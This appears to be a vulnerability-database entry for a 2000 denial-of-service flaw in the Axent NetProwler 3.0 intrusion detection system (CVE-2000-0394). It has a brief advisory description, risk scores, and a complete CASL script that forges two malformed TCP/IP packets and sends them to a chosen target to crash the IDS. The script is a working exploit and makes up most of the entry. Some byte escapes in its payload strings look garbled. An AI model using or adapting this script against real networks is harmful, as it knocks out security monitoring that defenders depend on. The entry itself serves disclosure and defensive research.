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Axent NetProwler 3.0 - IP Packets Denial of Service (2)

🗓️ 18 May 2000 00:00:00Reported by Pedro QuintanilhaType 
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Axent NetProwler 3.0 is vulnerable to malformed packets causing system crashes.

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CVE-2000-0394
12 Jul 200004:00
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Axent NetProwler 3.0 - IP Packets Denial of Service (1)
18 May 200000:00
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EUVD-2000-0393
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source: https://www.securityfocus.com/bid/1225/info

Axent NetProwler 3.0 IDS is vulnerable to a malformed packet attack. It will crash if the Man-in-the-Middle signature encounters a packet for which the following expression is true:
(IP_HEADER_LENGTH + TCP_HEADER_LENGTH) > IP_TOTAL_LENGTH

According to Axent Security team, this is not a fragmented packet issue as reported in RFP2K05 By Rain Forest Puppy.

In addition, NetProwler utilizes Microsoft JET engine 3.5 for storing incoming alert information. More information regarding the Microsoft JET engine 3.5 vulnerability can be found at:

https://www.securityfocus.com/bid/286

#include "tcpip.casl"
#include "packets.casl"

Src = pop args;
Dst = pop args;


Src = getip(Src);
Dst = getip(Dst);


iph = copy TCPIP;
iph.ip_version = 4;
iph.ip_headerlen = 5;
iph.ip_tos = 0;
iph.ip_length = 36;
iph.ip_id  = 2233;
iph.ip_offset = 3;
iph.ip_ttl = 62;
iph.ip_protocol = 6;
iph.ip_cksum = 38648;
iph.ip_source = Src;
iph.ip_destination = Dst;

tch = copy SYN;
tch.tcp_source = 1026;
tch.tcp_destination = 2058;
tch.tcp_seqno = 2542901;
tch.tcp_ackno = 0;
tch.tcp_offset = 0;
tch.tcp_x2 = 1;
tch.tcp_syn = 1;
tch.tcp_window = 768;

pk1data = "\x 0\x 0\x 0\x 0\x 0\x 0";


packet = [ iph, tch, pk1data ];

ip_output(packet);

iph2 = copy TCPIP;
iph2.ip_version = 4;
iph2.ip_headerlen = 5;
iph2.ip_tos = 0;
iph2.ip_length = 44;
iph2.ip_id = 2239;
iph2.ip_mf = 1;
iph2.ip_ttl = 62;
iph2.ip_protocol = 6;
iph2.ip_cksum = 30445;
iph2.ip_source = Src;
iph2.ip_destination = Dst;

tch2 = copy SYN;
tch2.tcp_source = 1032;
tch2.tcp_destination = 21;
tch2.tcp_seqno = 2816737352;
tch2.tcp_ackno = 0;
tch2.tcp_x2 = 10;
tch2.tcp_syn = 1;
tch2.tcp_window = 32120;
tch2.tcp_cksum = 29341;

pk2data = "\x 2\x 4\x 5\xb4 \x 0\x 0";

packet = [ iph2, tch2, pk2data ];

ip_output(packet);

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19 Jul 2012 00:00Current
5.8Medium risk
Vulners AI Score5.8
CVSS 25
EPSS0.03429
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